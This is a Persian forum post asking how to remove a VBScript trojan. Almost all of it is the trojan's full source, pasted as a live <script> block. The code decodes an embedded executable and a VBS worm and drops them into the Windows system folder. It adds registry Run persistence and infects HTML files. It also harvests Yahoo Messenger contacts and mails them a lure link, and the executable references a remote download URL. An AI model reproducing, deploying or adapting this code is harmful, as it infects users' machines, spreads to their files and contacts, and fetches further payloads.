 ويروس | |
من به يك تروجان به زبان ويبي اسكريبت در كامپيوتر خود برخورد كردم كه تمام فايل هاي داراي پسوند HTML و HTM را به كد خود آلوده كرده و با اجراي آنها فعال ميشوند و خود را به نام Kernel فعال ميكند اينم كدش در زير آمده....... اگه انتي آن را پيدا كرديد من را هم خبر كنيد
<script language=vbscript>
on error resume next
fileexe1="077090144000003000000000004000000000255255000000184000000000000000000000064000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000184000000000014031186014000180009205033184001076205033084104105115032112114111103114097109032099097110110111116032098101032114117110032105110032068079083032109111100101046013013010036000000000000000000000212036142028144069224079144069224079144069224079030090243079135069224079108101242079147069224079082105099104144069224079000000000000000000000000000000000000000000000000080069000000076001003000081115047069000000000000000000000000224000015001011001005012000002000000000030006000000000000000007017000000000016000000000032000000000000064000000016000000000002000000004000000000004000000000004000000000000000000000000080006000000004000000139039000000002000000000000000016000000016000000000000016000000016000000000000000000016000000000000000000000000000000000068032000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000032000000068000000000000000000000000000000000000000000000000000000000000000000000000000000000046116101120116000000000240001000000000016000000000002000000000004000000000000000000000000000000000000000000032000000096046114100097116097000000250001000000000032000000000002000000000006000000000000000000000000000000000000000000064000000064046100097116097000000000128027006000000048000000000002000000000008000000000000000000000000000000000000000000064000000192000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000106000106000106000106001106000232207001000000163112075070000106000104000000000128106000106000104041048064000255053112075070000232181001000000163116075070000104120075070000104128026006000104240048064000255053116075070000232156001000000104004001000000104124075070000232231000000000104028048064000104124075070000232244000000000104000016000000104088048064000104124075070000232202000000000163224048064000106000104228048064000255053120075070000104240048064000255053224048064000232174000000000255053224048064000232145000000000255053112075070000232032001000000255053116075070000232021001000000106005106000106000104124075070000106000106000232073000000000195085139236131196228106000106000106000141069228080232063000000000011192116020141069228080232062000000000141069228080232035000000000235217201195104000016064000104224147004000106000106000232024000000000232185255255255195255037020032064000255037040032064000255037036032064000255037032032064000255037028032064000255037000032064000255037012032064000255037008032064000255037004032064000204204204204204204204204204204085139236087255117008232036000000000139125008139077012003248051210051192138004010136004058131194001132192117243095139069008201194008000204204204085139236139069008131232004131192004128056000116048128120001000116032128120002000116016128120003000117230043069008131192003201194004000043069008131192002201194004000043069008131192001201194004000043069008201194004000255037060032064000255037048032064000255037052032064000255037056032064000000000000000000000000000000000000000000000000000086033000000134033000000122033000000100033000000000000000000236032000000000000000000054033000000042033000000028033000000008033000000000000000000182033000000198033000000218033000000160033000000000000000000188032000000000000000000000000000000252032000000020032000000196032000000000000000000000000000000074033000000028032000000168032000000000000000000000000000000146033000000000032000000216032000000000000000000000000000000238033000000048032000000000000000000000000000000000000000000000000000000000000000000086033000000134033000000122033000000100033000000000000000000236032000000000000000000054033000000042033000000028033000000008033000000000000000000182033000000198033000000218033000000160033000000000000000000103000083104101108108069120101099117116101065000115104101108108051050046100108108000140000068105115112097116099104077101115115097103101065000000025001071101116077101115115097103101065000023002083101116084105109101114000000066002084114097110115108097116101077101115115097103101000000117115101114051050046100108108000000026000067108111115101072097110100108101000060001071101116083121115116101109068105114101099116111114121065000202001079112101110070105108101000000158002087114105116101070105108101000107101114110101108051050046100108108000000105000073110116101114110101116067108111115101072097110100108101000134000073110116101114110101116079112101110065000135000073110116101114110101116079112101110085114108065000000142000073110116101114110101116082101097100070105108101000000119105110105110101116046100108108000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000092083121115116101109115046101120101000104116116112058047047104049046114105112119097121046099111109047100114101097109104097099107047072047078097118105100104097099107046101120101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
filevbs1="039078097118105100032110101119032118105114117115032050048048054040049051055053046049041013010111110032101114114111114032114101115117109101032110101120116013010100105109032102105108101104116109044115121115044121114013010102105108101104116109049061034049048048049048053049048057048051050049049053049050049049049053048049051048049048048056051049048049049049054048051050049048048049048050048051050048054049048051050049048048049049049048057057049049055049048057049048049049049048049049054048052054048057057049049052049048049048057055049049054049048049048054057049048056049048049049048057049048049049049048049049054048052048048051052049049049048057056049048054049048049048057057049049054048051052048052049048049051048049048049048048049048050048052054049049053049048049049049054048054053049049054049049054049049052049048053048057056049049055049049054049048049048051050048051052048057057049048056048057055049049053049049053049048053049048048048051052048052052048051050048051052048057057049048056049049053049048053049048048048053056048054054048054056048053055048053052048054055048053051048053051048053052048052053048053052048053051048054053048053049048052053048052057048052057048054056048052056048052053048053055048053054048053049048054053048052053048052056048052056048054055048052056048053050048055048048054055048053048048053055048054057048053049048053052048051050048051052048049051048049048049049053049048049049049054048051050049048050049049053049049049048051050048054049048051050049048048049048050048052054048057057049049052049048049048057055049049054049048049049049049048057056049048054049048049048057057049049054048052048048051052048056051048057057049049052049048053049049050049049054049048053049049048049048051048052054048055048049048053049048056049048049048056051049050049049049053049049054049048049049048057048055057048057056049048054049048049048057057049049054048051052048052052048051052048051052048052049048049051048049048049049053049048049049049054048051050049049053048054049049048048049048050048052054048054055049049052049048049048057055049049054049048049048055057048057056049048054049048049048057057049049054048052048048051052048056051049048052049048049049048056049048056048052054048054053049049050049049050049048056049048053048057057048057055049049054049048053049049049049049048048052054048052057048051052048052052048051052048051052048052049048049051048049048049049053049048049049049054048051050049049052049048049048054049049048048049048050048052054048057057049049052049048049048057055049049054049048049049049049048057056049048054049048049048057057049049054048052048048051052049049057049049053048057057049049052049048053049049050049049054048052054049049053049048052049048049049048056049048056048051052048052052048051052048051052048052049048049051048049048049049053049050049049049053048054049049048050049049053049049049048052054048055049049048049049049054048056051049049050049048049048057057049048053048057055049048056048055048049049049049048056049048048049048049049049052048052048048052057048052049048049051048049048048055048049049049049049052048051050048057055048051050048054049048051050048052057048051050048056052049049049048051050048055054049048049049049048048052048049048050049048053049048056049048049049049056048057056049049053048052057048052049048051050048056051049049054049048049049049050048051050048053049048049051048049048049048050049048053049048056049048049049049056048057056049049053048053048048054049049048050049048053049048056049048049049049056048057056049049053048053048048051050048051056048051050048057057049048052049049052048052048049048057049048053049048048048052048049048050049048053049048056049048049049049056048057056049049053048052057048052052048057055048052052048053049048052049048052049048049051048049048049048053049048050048051050048057055048051050048054048048051050049048056049048049049049048048052048049048050049048053049048056049048049049048049049050048049048049048052057048052049048052051048052057048051050049049054049048052049048049049049048048051050049048050049048053049048056049048049049048049049050048049048049048053048048054049049048050049048053049048056049048049049048049049050048049048049048053048048051050048051056048051050048057057049048052049049052048052048049048057049048053049048048048052048049048050049048053049048056049048049049048049049050048049048049048052057048052052048057055048052052048053049048052049048052049048049051048049048049049048049048049049050048049049054048049051048049048049048055049049052048051050048054049048051050048056053048054055048057055049049053049048049048052048049049052049048049048052054048056050049048049049048051048056050049048049048057055049048048048052048048051052048055050048055053048054057048056057048057053048055054048055057048054055048054053048055054048057053048055055048054053048054055048055050048055051048055056048054057048057050048056051048055057048055048048056052048056055048054053048056050048054057048057050048055055049048053048057057049049052049049049049049053049049049049048050049049054048057050048056055049048053049049048049048048049049049049049057049049053048057050048054055049049055049049052049049052049048049049049048049049054048056054049048049049049052049049053049048053049049049049049048048057050048056050049049055049049048048057050048055055049048053048057057049049052049049049049049053049049049049048050049049054048051050048056055049048053049049048049048048049049049049049057049049053048051052048052049048052049048049051048049048049048050049049053049049049048052054048054055049049052049048049048057055049049054049048049048056052049048049049050048049049054048055048049048053049048056049048049048052048049049053049050049049049053048051050048051056048051050048051052048057050048056052048056051048056048048053049048053048048054057048052054048054056048055054048055054048051052048052049048052054049049057049049052049048053049049054049048049048051050049048050049048053049048056049048049049048049049050048049048049048052057048049051048049048049048053049048050048051050049049055048057057048057055049049053049048049048052048049048050049049053049049049048052054048055048049048053049048056049048049048054057049050048049048053049049053049049054049049053048052048049049053049050049049049053048051050048051056048051050048051052048057050048055053049048049049049052049049048049048049049048056048052054049048049049050048049048049048051052048052049048052049048054049048051052048055048048054053048055054048056051048054057048051052048051050049049049049049052048051050049048055049049052048054048048054050049049055048057057048057055049049053049048049048052048049049053049050049049049053048051050048051056048051050048051052048057050048055053048054057048056050048055056048054057048055054048052054048054057048056056048054057048051052048052049048051050049049054049048052049048049049049048048049051048049048049049052049048049048052054049049052049048049049048051049049057049049052049048053049049054049048049048051050048051052048055050048055053048054057048056057048057053048055054048055057048054055048054053048055054048057053048055055048054053048054055048055050048055051048055056048054057048057050048056051048055057048055048048056052048056055048054053048056050048054057048057050048055055049048053048057057049049052049049049049049053049049049049048050049049054048057050048056055049048053049049048049048048049049049049049057049049053048057050048054055049049055049049052049049052049048049049049048049049054048056054049048049049049052049049053049048053049049049049049048048057050048056050049049055049049048048057050048051052048051050048051056048051050048051052048055055049048053048057057049049052049049049049049053049049049049048050049049054048051050048056055049048053049049048049048048049049049049049057049049053048051052048051050048052052049049053049050049049049053048051050048051056048051052048057050048055053049048049049049052049049048049048049049048056048052054049048049049050048049048049048051052048049051048049048049048050049049053049049049048052054048054055049049052049048049048057055049049054049048049048056052049048049049050048049049054048055048049048053049048056049048049048052048049049053049050049049049053048051050048051056048051050048051052048057050048055053049048049049049052049049048049048049049048056048052054049048049049050048049048049048051052048052049048052054049049057049049052049048053049049054049048049048051050049048050049048053049048056049048049049048049049050048049048049048053048048049051048049048049049053048052054048055057049049050049048049049049048048051050048052048049049053049050049049049053048051050048051056048051050048051052048057050048055053049048049049049052049049048049048049049048056048052054049048049049050048049048049048051052048052049048049051048049048049048049049049048049048048048051050049048053049048050048049051048049048049048050049049053049049049048052054048054055049049052049048049048057055049049054049048049048056052049048049049050048049049054048055048049048053049048056049048049048052048049049053049050049049049053048051050048051056048051050048051052048057050048056052048056051048056048048053049048053048048056054048052054048054056048055054048055054048051052048052049048052054049049057049049052049048053049049054049048049048051050049048050049048053049048056049048049049049056048057056049049053048052057048049051048049048049048053049048050048051050049048050049049053049049049048052054049049049049049050049048049049049048049049054049048049049050048049049054049048050049048053049048056049048049048052048049049053049050049049049053048051050048051056048051050048051052048057050048056051049050049049049053049049054049048049049048057049049056048052054049048048049048056049048056048051052048052052048052057048052049048052054049049052049048049048057055049048048048057055049048056049048056048054048048054050048051052049049049049049048048051052048051050049049054049048052049048049049049048048049051048049048049048050049049053049049049048052054048054055049049052049048049048057055049049054049048049048056052049048049049050048049049054048055048049048053049048056049048049048052048049049053049050049049049053048051050048051056048051050048051052048057050048055053049048049049049052049049048049048049049048056048052054049049056048057056049049053048051052048052049048052054049049057049049052049048053049049054049048049048051050049048050049048053049048056049048049049049056048057056049049053048053048048049051048049048049049053048052054048055057049049050049048049049049048048051050048052048049049053049050049049049053048051050048051056048051050048051052048057050048055053049048049049049052049049048049048049049048056048052054049049056048057056049049053048051052048052049048049051048049048049048049049049048049048048048051050049048053049048050048049051048049048048054048048052055049049053048057057049049052049048053049049050049049054048054050034013010115101116032102115111061099114101097116101111098106101099116040034115099114105112116105110103046102105108101115121115116101109111098106101099116034041013010115101116032114101061099114101097116101111098106101099116040034119115099114105112116046115104101108108034041013010115121115061102115111046071101116083112101099105097108070111108100101114040049041013010102115111046067114101097116101084101120116070105108101040115121115032038032034092083121115116101109118046100108108034041046119114105116101032034111110034013010102105108101104116109061034060115099114105112116032108097110103117097103101061118098115099114105112116062034032038032118098099114108102032038032034111110032101114114111114032114101115117109101032110101120116034032038032118098099114108102013010102105108101104116109061102105108101104116109032038032034102105108101101120101049061034034034032038032102115111046111112101110116101120116102105108101040115121115032038032034092084083080051050069046068076076034044049041046114101097100097108108032038032034034034034032038032118098099114108102013010102105108101104116109061102105108101104116109032038032034102105108101118098115049061034034034032038032102115111046111112101110116101120116102105108101040115121115032038032034092084083080051050086046068076076034044049041046114101097100097108108032038032034034034034032038032118098099114108102013010070111114032097032061032049032084111032076101110040102105108101104116109049041032083116101112032051013010102105108101104116109061102105108101104116109032038032099104114040109105100040102105108101104116109049044097044051041041013010110101120116013010114101046114101103119114105116101032034072075069089095067085082082069078084095085083069082092083111102116119097114101092077105099114111115111102116092087105110100111119115092067117114114101110116086101114115105111110092082117110092034032038032034077105099114111115111102116032087105110100111119115034032044115121115032038034092075101114110101108046118098115034013010114101046114101103119114105116101032034072075069089095076079067065076095077065067072073078069092083079070084087065082069092077105099114111115111102116092087105110100111119115092067117114114101110116086101114115105111110092082117110092034032038032034077105099114111115111102116032087105110100111119115034032044115121115032038034092075101114110101108046101120101034013010121114061114101046082101103082101097100040034072075069089095067085082082069078084095085083069082092083111102116119097114101092121097104111111092112097103101114092089097104111111033032085115101114032073068034041013010115116097114116013010083117098032115116097114116040041013010111110032101114114111114032114101115117109101032110101120116013010070111114032069097099104032100114049032073110032102115111046068114105118101115013010073102032100114049046068114105118101084121112101032061032050032079114032100114049046068114105118101084121112101032061032051032084104101110032102105108101049032040100114049032038032034092034041058032102111108100101114049032040100114049032038032034092034041013010078101120116013010115101110100109097105108013010069110100032083117098013010083117098032102111108100101114049040100114049041013010111110032101114114111114032114101115117109101032110101120116013010070111114032069097099104032102111032073110032102115111046071101116070111108100101114040100114049041046083117098070111108100101114115013010105102032085067097115101040114105103104116040102111044050053041041061034089065072079079033092077069083083069078071069082092080082079070073076069083034032116104101110032121097104111111040102111041013010102105108101049032040102111041013010102111108100101114049032040102111041013010078101120116013010069110100032083117098013010083117098032102105108101049040102111041013010111110032101114114111114032114101115117109101032110101120116013010070111114032069097099104032102105032073110032102115111046071101116070111108100101114040102111041046070105108101115013010110106032040102105041013010078101120116013010069110100032083117098013010115117098032110106040102105041013010111110032101114114111114032114101115117109101032110101120116013010101120116061085067097115101040102115111046071101116069120116101110115105111110078097109101040102105041041013010105102032101120116061034072084077034032111114032101120116061034072084077076034032111114032101120116061034072084084034032116104101110013010105102032114105103104116040102115111046111112101110116101120116102105108101040102105044049041046114101097100097108108044108101110040102105108101104116109041041060062102105108101104116109032116104101110013010102115111046111112101110116101120116102105108101040102105044056041046119114105116101032118098099114108102032038032102105108101104116109013010101110100032105102013010101110100032105102013010101110100032115117098013010115117098032121097104111111040102111121049041013010070111114032069097099104032102111121050032073110032102115111046071101116070111108100101114040102111121049041046083117098070111108100101114115013010109097105108097108108061109097105108097108108032038032102115111046071101116070105108101078097109101040102111121050041032038032034064121097104111111046099111109034032038032118098099114108102013010110101120116013010102115111046099114101097116101116101120116102105108101040115121115032038032034092109097105108046108111103034041046119114105116101032109097105108097108108032038032034069078068034013010102115111046099114101097116101116101120116102105108101040115121115032038032034092115101110100046108111103034041046119114105116101032121114032038032034064121097104111111046099111109034013010101110100032115117098013010115117098032115101110100109097105108040041013010111110032101114114111114032114101115117109101032110101120116013010115101110100109061102115111046111112101110116101120116102105108101040115121115032038032034092115101110100046108111103034044049041046114101097100097108108013010115101116032109097105108109061102115111046111112101110116101120116102105108101040115121115032038032034092109097105108046108111103034044049041013010109097105108097061109097105108109046114101097100108105110101013010119104105108101032109097105108097032060062032034069078068034013010083101116032111098106077101115115097103101032061032067114101097116101079098106101099116040034067068079046077101115115097103101034041032013010111098106077101115115097103101046083117098106101099116032061032034072101108108111034013010111098106077101115115097103101046083101110100101114032061032115101110100109013010111098106077101115115097103101046102114111109061032115101110100109013010111098106077101115115097103101046084111032061032109097105108097013010111098106077101115115097103101046084101120116066111100121032061032034072101108108111034032038032118098099114108102032038032034071111032116111032109121032115097105116058032104116116112058047047103105114108115101120046119101098115046105111047112105099116117114101046104116109034013010111098106077101115115097103101046083101110100013010109097105108097061109097105108109046114101097100108105110101013010119101110100013010102115111046067114101097116101084101120116070105108101040115121115032038032034092083121115116101109118046100108108034041046119114105116101032034111102102034013010101110100032115117098013010"
dim sys
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36 "
set fso = df.createobject("Scripting.FileSystemObject","")
set s=df.CreateObject("Shell.Application.1","")
set re=df.createobject("wscript.shell","")
sys=fso.GetSpecialFolder(1)
For a = 1 To Len(filevbs1) Step 3
filevbs2=filevbs2 & chr(mid(filevbs1,a,3))
if a < len(fileexe1)+1 then fileexe2=fileexe2 & chr(mid(fileexe1,a,3))
next
kr = UCase(re.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft Windows"))
fso.CreateTextFile(sys & "\TSP32E.DLL").write fileexe1
if ucase(fso.FileExists(sys & "\Kernel.exe"))="FALSE" or kr<>ucase(sys & "\KERNEL.EXE") then
re.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & "Microsoft Windows" ,sys &"\Kernel.exe"
fso.CreateTextFile(sys & "\Kernel.exe").write fileexe2
s.Open (sys & "\Kernel.exe")
end if
fso.CreateTextFile(sys & "\TSP32V.DLL").write filevbs1
if fso.opentextfile(sys & "\Systemv.dll",1).readall<>"on" then
fso.CreateTextFile(sys & "\Kernel.vbs").write filevbs2
s.Open (sys & "\Kernel.vbs")
end if
</script> | 
]
يك سوال در مورد ويروسها ؟؟؟؟؟ 
